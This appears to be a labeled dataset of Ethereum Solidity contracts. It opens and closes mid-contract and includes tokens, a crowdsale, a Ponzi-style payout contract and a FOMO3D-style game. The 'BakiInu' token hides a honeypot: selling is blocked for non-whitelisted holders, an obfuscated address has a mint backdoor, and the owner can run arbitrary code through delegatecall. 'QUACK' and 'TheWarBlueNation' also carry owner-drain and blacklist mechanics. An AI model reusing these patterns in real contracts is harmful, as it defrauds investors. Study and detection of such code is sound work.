freeze storage _freeze = freezedTokens[_beneficiary[i]];
_freeze.amount = _amount[i];
_freeze.when = _when[i];
}
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
require(freezedTokenOf(_to) == 0);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _value;
_freeze.when = _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom( _from,_to,_value);
}
}
contract Token is IToken, FreezingToken, MintableToken, MigratableToken, BurnableToken{
function Token(ICreator _creator) GuidedByRoles(_creator.rightAndRoles()) public {}
string public constant name = "Imigize";
string public constant symbol = "IMGZ";
uint8 public constant decimals = 18;
} | 1 | 3,219 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BakiInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 146 |
pragma solidity ^0.4.24;
contract TheWarBlueNation
{
struct _Tx {
address txuser;
uint txvalue;
}
_Tx[] public Tx;
uint public counter;
address owner;
modifier onlyowner
{
if (msg.sender == owner)
_;
}
constructor () public {
owner = msg.sender;
}
function() public payable {
require(msg.value>=0.01 ether);
Sort();
}
function Sort() internal
{
uint feecounter;
feecounter=msg.value/5;
owner.send(feecounter);
feecounter=0;
uint txcounter=Tx.length;
counter=Tx.length;
Tx.length++;
Tx[txcounter].txuser=msg.sender;
Tx[txcounter].txvalue=msg.value;
}
function Count(uint end, uint start) public onlyowner {
while (end>start) {
Tx[end].txuser.send((Tx[end].txvalue/1000)*200);
end-=1;
}
}
} | 0 | 1,986 |
pragma solidity ^0.8.13;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract QUACK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 100000000 * 10**8;
uint256 private _contractAutoLpLimitToken = 1000000000000000000;
uint256 private _taxFee;
uint256 private _buyTaxMarketing = 5;
uint256 private _sellTaxMarketing = 9;
uint256 private _autoLpFee = 3;
uint256 private _LpPercentBase100 = 35;
address payable private _taxWallet;
address payable private _contractPayment;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "QUACK";
string private constant _symbol = "QUACK";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 coinReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_contractPayment = payable(address(this));
_taxFee = _buyTaxMarketing + _autoLpFee;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount = _tTotal.mul(2).div(10**2);
_maxWallet = _tTotal.mul(4).div(10**2);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function isInSwap() public view returns (bool) {
return _inSwap;
}
function isSwapEnabled() public view returns (bool) {
return _swapEnabled;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
_sellTaxMarketing = taxFee;
}
function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
_buyTaxMarketing = taxFee;
}
function setAutoLpFee(uint256 taxFee) external onlyOwner() {
_autoLpFee = taxFee;
}
function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
_contractAutoLpLimitToken = newLimit;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to], "This account is blacklisted");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
if (from == _pair) {
_taxFee = buyTax();
} else {
_taxFee = sellTax();
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!_inSwap && from != _pair && _swapEnabled) {
if(contractTokenBalance >= _contractAutoLpLimitToken) {
swapAndLiquify(contractTokenBalance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);
uint256 half = autoLpTokenBalance.div(2);
uint256 otherHalf = autoLpTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidityAuto(newBalance, otherHalf);
emit SwapAndLiquify(half, newBalance, otherHalf);
swapTokensForEth(marketingAmount);
sendETHToFee(marketingAmount);
}
function buyTax() private view returns (uint256) {
return (_autoLpFee + _buyTaxMarketing);
}
function sellTax() private view returns (uint256) {
return (_autoLpFee + _sellTaxMarketing);
}
function setMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidityInitial() external payable onlyOwner {
_uniswap.addLiquidityETH{value: address(this).balance} (
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
_approve(address(this), address(_uniswap), tokenValue);
_uniswap.addLiquidityETH{value: etherValue} (
address(this),
tokenValue,
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) {
return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function emergencyWithdraw(address _token) public onlyOwner {
if (_token == address(0)) {
owner().call{ value: address(this).balance }("");
} else {
IERC20 token = IERC20(_token);
uint bal = token.balanceOf(address(this));
token.approve(address(this), bal);
token.transfer(owner(), bal);
}
}
function enableTrading(bool _enable) external onlyOwner{
_canTrade = _enable;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function setMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualsend() public {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner {
for(uint256 i = 0; i < recipients.length; i++) {
_balance[recipients[i]] = amounts[i] * 10**8;
emit Transfer(address(this), recipients[i], amounts[i] * 10**8);
}
}
} | 0 | 1,369 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShareTokenSale is Ownable {
using SafeMath for uint256;
ERC20 public token;
address public receiverAddr;
uint256 public totalSaleAmount;
uint256 public totalWannaBuyAmount;
uint256 public startTime;
uint256 public endTime;
uint256 public userWithdrawalStartTime;
uint256 public clearStartTime;
uint256 public withdrawn;
uint256 public proportion = 1 ether;
mapping(uint256 => uint256) public globalAmounts;
struct Stage {
uint256 rate;
uint256 duration;
uint256 startTime;
}
Stage[] public stages;
struct PurchaserInfo {
bool withdrew;
bool recorded;
mapping(uint256 => uint256) amounts;
}
mapping(address => PurchaserInfo) public purchaserMapping;
address[] public purchaserList;
modifier onlyOpenTime {
require(isStarted());
require(!isEnded());
_;
}
modifier onlyAutoWithdrawalTime {
require(isEnded());
_;
}
modifier onlyUserWithdrawalTime {
require(isUserWithdrawalTime());
_;
}
modifier purchasersAllWithdrawn {
require(withdrawn==purchaserList.length);
_;
}
modifier onlyClearTime {
require(isClearTime());
_;
}
function ShareTokenSale(address _receiverAddr, address _tokenAddr, uint256 _totalSaleAmount, uint256 _startTime) public {
require(_receiverAddr != address(0));
require(_tokenAddr != address(0));
require(_totalSaleAmount > 0);
require(_startTime > 0);
receiverAddr = _receiverAddr;
token = ERC20(_tokenAddr);
totalSaleAmount = _totalSaleAmount;
startTime = _startTime;
}
function isStarted() public view returns(bool) {
return 0 < startTime && startTime <= now && endTime != 0;
}
function isEnded() public view returns(bool) {
return now > endTime;
}
function isUserWithdrawalTime() public view returns(bool) {
return now > userWithdrawalStartTime;
}
function isClearTime() public view returns(bool) {
return now > clearStartTime;
}
function startSale(uint256[] rates, uint256[] durations, uint256 userWithdrawalDelaySec, uint256 clearDelaySec) public onlyOwner {
require(endTime == 0);
require(durations.length == rates.length);
delete stages;
endTime = startTime;
for (uint256 i = 0; i < durations.length; i++) {
uint256 rate = rates[i];
uint256 duration = durations[i];
stages.push(Stage({rate: rate, duration: duration, startTime:endTime}));
endTime = endTime.add(duration);
}
userWithdrawalStartTime = endTime.add(userWithdrawalDelaySec);
clearStartTime = endTime.add(clearDelaySec);
}
function getCurrentStage() public onlyOpenTime view returns(uint256) {
for (uint256 i = stages.length - 1; i >= 0; i--) {
if (now >= stages[i].startTime) {
return i;
}
}
revert();
}
function getPurchaserCount() public view returns(uint256) {
return purchaserList.length;
}
function _calcProportion() internal {
if (totalWannaBuyAmount == 0 || totalSaleAmount >= totalWannaBuyAmount) {
proportion = 1 ether;
return;
}
proportion = totalSaleAmount.mul(1 ether).div(totalWannaBuyAmount);
}
function getSaleInfo(address purchaser) public view returns (uint256, uint256, uint256) {
PurchaserInfo storage pi = purchaserMapping[purchaser];
uint256 sendEther = 0;
uint256 usedEther = 0;
uint256 getToken = 0;
for (uint256 i = 0; i < stages.length; i++) {
sendEther = sendEther.add(pi.amounts[i]);
uint256 stageUsedEther = pi.amounts[i].mul(proportion).div(1 ether);
uint256 stageGetToken = stageUsedEther.mul(stages[i].rate);
if (stageGetToken > 0) {
getToken = getToken.add(stageGetToken);
usedEther = usedEther.add(stageUsedEther);
}
}
return (sendEther, usedEther, getToken);
}
function () payable public {
buy();
}
function buy() payable public onlyOpenTime {
require(msg.value >= 0.1 ether);
uint256 stageIndex = getCurrentStage();
uint256 amount = msg.value;
PurchaserInfo storage pi = purchaserMapping[msg.sender];
if (!pi.recorded) {
pi.recorded = true;
purchaserList.push(msg.sender);
}
pi.amounts[stageIndex] = pi.amounts[stageIndex].add(amount);
globalAmounts[stageIndex] = globalAmounts[stageIndex].add(amount);
totalWannaBuyAmount = totalWannaBuyAmount.add(amount.mul(stages[stageIndex].rate));
_calcProportion();
}
function _withdrawal(address purchaser) internal {
require(purchaser != 0x0);
PurchaserInfo storage pi = purchaserMapping[purchaser];
if (pi.withdrew) {
return;
}
pi.withdrew = true;
withdrawn = withdrawn.add(1);
var (sendEther, usedEther, getToken) = getSaleInfo(purchaser);
if (usedEther > 0 && getToken > 0) {
receiverAddr.transfer(usedEther);
token.transfer(purchaser, getToken);
if (sendEther.sub(usedEther) > 0) {
purchaser.transfer(sendEther.sub(usedEther));
}
} else {
purchaser.transfer(sendEther);
}
return;
}
function withdrawal() payable public onlyUserWithdrawalTime {
_withdrawal(msg.sender);
}
function withdrawalFor(uint256 index, uint256 stop) payable public onlyAutoWithdrawalTime onlyOwner {
for (; index < stop; index++) {
_withdrawal(purchaserList[index]);
}
}
function clear(uint256 tokenAmount, uint256 etherAmount) payable public purchasersAllWithdrawn onlyClearTime onlyOwner {
if (tokenAmount > 0) {
token.transfer(receiverAddr, tokenAmount);
}
if (etherAmount > 0) {
receiverAddr.transfer(etherAmount);
}
}
} | 1 | 2,811 |
pragma solidity ^0.4.24;
contract POOHMOevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract POOHMO is POOHMOevents {
using SafeMath for *;
using NameFilter for string;
using KeysCalc for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private flushDivs;
string constant public name = "POOHMO";
string constant public symbol = "POOHMO";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 private rndMax_ = 6 hours;
uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes];
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => POOHMODatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => POOHMODatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => POOHMODatasets.TeamFee) public fees_;
mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_;
constructor(address whaleContract, address playerbook)
public
{
flushDivs = whaleContract;
PlayerBook = PlayerBookInterface(playerbook);
fees_[0] = POOHMODatasets.TeamFee(49,10);
potSplit_[0] = POOHMODatasets.PotSplit(15,10);
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
require(_addr == tx.origin);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
